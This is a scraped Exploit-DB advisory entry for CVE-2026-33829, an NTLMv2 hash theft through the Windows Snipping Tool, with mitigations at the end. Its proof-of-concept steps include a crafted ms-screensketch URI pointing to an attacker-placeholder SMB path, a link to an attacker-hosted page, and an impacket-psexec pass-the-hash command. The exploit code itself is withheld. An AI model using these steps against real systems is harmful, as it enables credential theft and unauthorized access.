{“lastseen”:”2026-05-15T15:27:58″,”description”:”Exploit Title: Windows Snipping Tool – NTLMv2 Hash Hijack Date: 2026-04-22 Exploit Author: nu11secur1ty Video Demo: https:\/\/www.patreon.com\/posts\/cve-2026-33829-156243398 Vendor Homepage: https:\/\/www.microsoft.com Software Link: Built-in Windows…”,”published”:”2026-05-15T00:00:00″,”modified”:”2026-05-15T00:00:00″,”type”:”exploitdb”,”title”:”Windows Snipping Tool – NTLMv2 Hash Hijack”,”source”:””,”references”:””,”id”:”EDB-ID:52567″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-33829″],”sourceData”:”# Exploit Title: Windows Snipping Tool – NTLMv2 Hash Hijack\\r\\n# Date: 2026-04-22\\r\\n# Exploit Author: nu11secur1ty\\r\\n# Video Demo: https:\/\/www.patreon.com\/posts\/cve-2026-33829-156243398\\r\\n# Vendor Homepage: https:\/\/www.microsoft.com\\r\\n# Software Link: Built-in Windows Snipping Tool\\r\\n# Version: Windows 10, Windows 11, Windows Server 2012-2025 (pre-April 2026\\r\\npatch)\\r\\n# Tested on: Windows 11 Pro (Build 22621) \/ Kali Linux 2026.1\\r\\n# CVE: CVE-2026-33829\\r\\n# Attack Type: Remote \/ Network-based\\r\\n# Impact: Credential Theft (NTLMv2 Hash) \/ Pass-the-Hash\\r\\n# CVSS Score: 4.3 (Medium) but HIGH impact in practice\\r\\n\\r\\n## Vulnerable Systems\\r\\n- Windows 10 (all versions before April 14, 2026 patch)\\r\\n- Windows 11 (all versions before April 14, 2026 patch)\\r\\n- Windows Server 2012, 2016, 2019, 2022, 2025 (before April 14, 2026 patch)\\r\\n\\r\\n## Description\\r\\nA vulnerability in Windows Snipping Tool (CVE-2026-33829) allows attackers\\r\\nto\\r\\nforce NTLMv2 authentication to a remote SMB server via crafted\\r\\nms-screensketch:edit\\r\\nURI. When a victim clicks a malicious link and approves the \\”Open Snipping\\r\\nTool\\”\\r\\nprompt, Windows automatically sends the user’s NTLMv2 hash to the\\r\\nattacker-controlled\\r\\nserver. This exploit extends beyond the original PoC by also harvesting\\r\\nHTTP NTLM\\r\\nhashes (via WPAD), LLMNR, and MDNS poisoning – capturing MULTIPLE valid\\r\\nhashes from\\r\\na SINGLE click. Captured hashes can be used for Pass-the-Hash attacks or\\r\\ncracked\\r\\nwith Hashcat.\\r\\n\\r\\n## Exploit Features (nu11secur1ty edition)\\r\\n- \u2705 Snipping Tool NTLM hash capture (original vector)\\r\\n- \u2705 Automatic HTTP NTLM authentication capture (additional vector)\\r\\n- \u2705 WPAD poisoning (automatic proxy config)\\r\\n- \u2705 LLMNR\/MDNS poisoning (fallback vectors)\\r\\n- \u2705 Multi-harvest – captures multiple hashes from one click\\r\\n- \u2705 One-command execution (sudo python3 exploit.py)\\r\\n- \u2705 Auto-detects terminal and opens Responder in new window\\r\\n- \u2705 Built-in HTTP server for HTML delivery\\r\\n\\r\\n## Proof of Concept\\r\\n**Video Demonstration (Patreon Exclusive):**\\r\\nhttps:\/\/www.patreon.com\/posts\/cve-2026-33829-156243398\\r\\n\\r\\n1. Run exploit on attacker machine (Kali Linux):\\r\\n sudo python3 CVE-2026-33829-NTLMv2-Hash-Hijack.py\\r\\n\\r\\n2. Victim (Windows 11) opens the malicious URL:\\r\\n http:\/\/\\u003cATTACKER_IP\\u003e\/exploit.html\\r\\n\\r\\n3. Victim clicks the button and approves \\”Open Snipping Tool\\”\\r\\n\\r\\n4. Attacker captures NTLMv2 hash(es):\\r\\n [HTTP] NTLMv2 Username : \\\\Hacked\\r\\n [HTTP] NTLMv2 Hash : Hacked:::157e1f851f7c17e7:16D87BC0AD284FB6…\\r\\n\\r\\n5. Attacker performs Pass-the-Hash to gain access:\\r\\n impacket-psexec -hashes :\\u003cHASH\\u003e Hacked@\\u003cVICTIM_IP\\u003e\\r\\n\\r\\n## Attack Vector\\r\\nms-screensketch:edit?filePath=\\\\\\\\\\u003cATTACKER_IP\\u003e\\\\test\\\\evil.png\\r\\n\\r\\n## Requirements\\r\\nAttacker: Kali Linux (or any Linux with Python3, impacket, responder)\\r\\nVictim: Windows 10\/11 with Snipping Tool (unpatched)\\r\\n\\r\\n## Mitigations\\r\\n- Apply Microsoft patch from April 14, 2026\\r\\n- Block outbound SMB traffic (port 445)\\r\\n- Disable NTLMv1 and restrict NTLMv2 via GPO\\r\\n- Educate users not to click \\”Open Snipping Tool\\” prompts from untrusted\\r\\nsources\\r\\n\\r\\n## References\\r\\n- https:\/\/cybersecuritynews.com\/windows-snipping-tool-vulnerability\/\\r\\n- https:\/\/msrc.microsoft.com\/update-guide\/vulnerability\/CVE-2026-33829\\r\\n-\\r\\nhttps:\/\/github.com\/blackarrowsec\/redteam-research\/tree\/master\/CVE-2026-33829\\r\\n\\r\\n## Exploit Code (NFO)\\r\\nThe exploit will not be published for security reasons! For more\\r\\ninformation, please get in touch with me!\\r\\n\\r\\n– \\r\\n\\r\\nSystem Administrator – Infrastructure Engineer\\r\\nPenetration Testing Engineer\\r\\nExploit developer at https:\/\/packetstorm.news\/\\r\\nhttps:\/\/cve.mitre.org\/index.html\\r\\nhttps:\/\/cxsecurity.com\/ and https:\/\/www.exploit-db.com\/\\r\\n0day Exploit DataBase https:\/\/0day.today\/\\r\\nhome page: https:\/\/www.asc3t1c-nu11secur1ty.com\/\\r\\nhiPEnIMR0v7QCo\/+SEH9gBclAAYWGnPoBIQ75sCj60E=\\r\\n nu11secur1ty \\u003chttp:\/\/nu11secur1ty.com\/\\u003e”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52567″,”cvss”:{“score”:4.3,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:L\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52567″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-15T15:27:58″,”description”:”Exploit Title: Windows Snipping Tool – NTLMv2 Hash Hijack Date: 2026-04-22 Exploit Author: nu11secur1ty Video Demo: https:\/\/www.patreon.com\/posts\/cve-2026-33829-156243398 Vendor Homepage: https:\/\/www.microsoft.com Software Link: Built-in Windows…”,”published”:”2026-05-15T00:00:00″,”modified”:”2026-05-15T00:00:00″,”type”:”exploitdb”,”title”:”Windows Snipping…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,123,12,40,21,13,7,11,5],"class_list":["post-54845","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-43","tag-exploit","tag-exploitdb","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n